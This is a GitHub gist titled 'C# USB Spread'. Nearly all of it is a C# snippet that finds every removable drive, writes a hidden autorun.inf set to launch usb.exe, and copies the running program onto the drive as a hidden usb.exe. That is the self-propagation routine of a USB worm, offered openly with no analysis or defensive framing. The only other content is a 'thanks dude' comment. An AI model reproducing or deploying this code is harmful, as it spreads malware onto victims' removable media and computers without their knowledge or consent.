Created
November 7, 2013 15:51
-
-
Save veyselsahin/7356869 to your computer and use it in GitHub Desktop.
C# USB Spread
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System.IO; | |
DriveInfo[] drives = DriveInfo.GetDrives(); | |
foreach (DriveInfo drive in drives) | |
{ | |
if (drive.DriveType == DriveType.Removable) | |
{ | |
StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf"); | |
writer.WriteLine("[autorun]\n"); | |
writer.WriteLine("open=usb.exe"); | |
writer.WriteLine("action=Run win32"); | |
writer.Close(); | |
File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden); | |
File.Copy(Application.ExecutablePath, drive.Name + "usb.exe", true); | |
File.SetAttributes(drive.Name + "usb.exe", File.GetAttributes(drive.Name + "usb.exe") | FileAttributes.Hidden); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
thanks dude